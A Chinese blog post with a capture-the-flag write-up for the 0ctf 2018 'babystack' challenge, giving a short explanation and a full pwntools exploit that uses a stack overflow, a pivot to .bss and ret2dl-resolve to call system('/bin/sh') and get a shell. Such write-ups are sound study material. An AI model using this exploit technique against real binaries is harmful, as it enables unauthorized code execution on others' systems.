美文网首页
0ctf 2018 babystack

0ctf 2018 babystack

作者: 2mpossible | 来源:发表于2018-04-07 21:31 被阅读0次

拿到程序,栈溢出,但是溢出的不多,除此之外没有任何的泄漏函数,于是想到栈转移然后再用ret2dlsolve,可以到 http://pwn4.fun/2016/11/09/Return-to-dl-resolve/这里学习reurn-to-dl-resolve,然后直接上exp

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level = 'debug'
p = process('./babystack')
elf = ELF('./babystack')

read_plt = elf.plt['read']
alarm_plt = elf.plt['alarm']
pop_ebp_ret = 0x080484eb
ppp_ret = 0x080484e9
pp_ebp_ret = 0x080484ea
leave_ret = 0x08048455
stack_size = 0x800
bss_addr = 0x0804a020 
base_stage = bss_addr + stack_size
plt_0 = 0x80482f0 # objdump -d -j .plt babystack
rel_plt = 0x80482b0 # objdump -s -j .rel.plt babystack
index_offset = (base_stage + 28) - rel_plt
alarm_got = elf.got['alarm']
print "alarm_got: ",hex(alarm_got)
print "alarm_plt: ",hex(alarm_plt)
print "read_plt: ",hex(read_plt)
dynsym = 0x080481CC
dynstr = 0x0804822C
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = index_dynsym << 8 | 0x7
fake_reloc = p32(alarm_got) + p32(r_info)
st_name = fake_sym_addr + 0x10 - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)



payload = 'a'*0x28 + p32(bss_addr)
payload += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_addr) +     p32(36) 
raw_input("go:")
p.send(payload)

#fake stack 1 bss_addr
payload1 = 'aaaa' #pop ebp
payload1 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(base_stage) + p32(100)
payload1 += p32(pop_ebp_ret) + p32(base_stage) #fake stack again
payload1 += p32(leave_ret) #leave: mov esp,ebp; pop ebp
p.send(payload1)


cmd = "/bin/sh"
#fake stack 2 base_stage
payload2 = 'bbbb'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'aaaa'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc #base_stage+28
payload2 += 'b' * align
payload2 += fake_sym #base_stage+36
payload2 += "system\x00"
payload2 += 'a' * (80 - len(payload2))
payload2 += cmd +'\x00'
payload2 += 'a' * (100 - len(payload2))
print len(payload2)
p.sendline(payload2)
p.interactive()

相关文章

  • 0ctf 2018 babystack

    拿到程序,栈溢出,但是溢出的不多,除此之外没有任何的泄漏函数,于是想到栈转移然后再用ret2dlsolve,可以到...

  • nctf2018 | pwn wp

    babystack 这道题目用到了一个 vsyscall 的点。。。 保护 : nx , pie 限制 : 输入长...

  • 0ctf 2018 baby stack记录

    题目提示信息,信息泄露不再需要栈溢出检查保护措施,只开启了NX栈不可执行 通过IDA查看,溢出点很明显 在这之后思...

  • 记一次gdb调试学习堆内存

    题目是jarvisoj的guessbook2,似乎原题目是0ctf上的 http://rk700.github.i...

  • 0ctf部分wp

    大佬说太难不用看正好作业也没写完所以就没看,乖巧.jpg然后作业写到一半发现手动写hill的逆矩阵是不会带来快乐的...

  • 0ctf 2017 xss

    博客文章迁移: 2017-03-21 12:18 第一次参加ctf…真的是好醉…我xss做的本来就少,基础知识不牢...

  • 0ops CTF/0CTF writeup

    ×00 0CTF 『第一届0ops信息安全技术挑战赛,即0ops Capture The Flag,以下简称0CT...

  • [0CTF 2016]piapiapia之愚见

    今天在buuctf上尝试了一下[0CTF 2016]piapiapia之愚见这个题目,点进去之后是登录界面和一张猫...

  • fastbin unsorted bin Arbitrary A

    1.实例 2017 0ctf babyheap题目保护全开, 只有一个堆溢出一个全局单链表头,通过将chunk0溢...

  • 0ctf/tctf-soracon

    这次0ctf/tctf 抽空看了下soracon这题。最终还是非常可惜,可能有多点时间做题就能解出了。下面是自己的...

网友评论

      本文标题:0ctf 2018 babystack

      本文链接:https://www.haomeiwen.com/subject/yrluhftx.html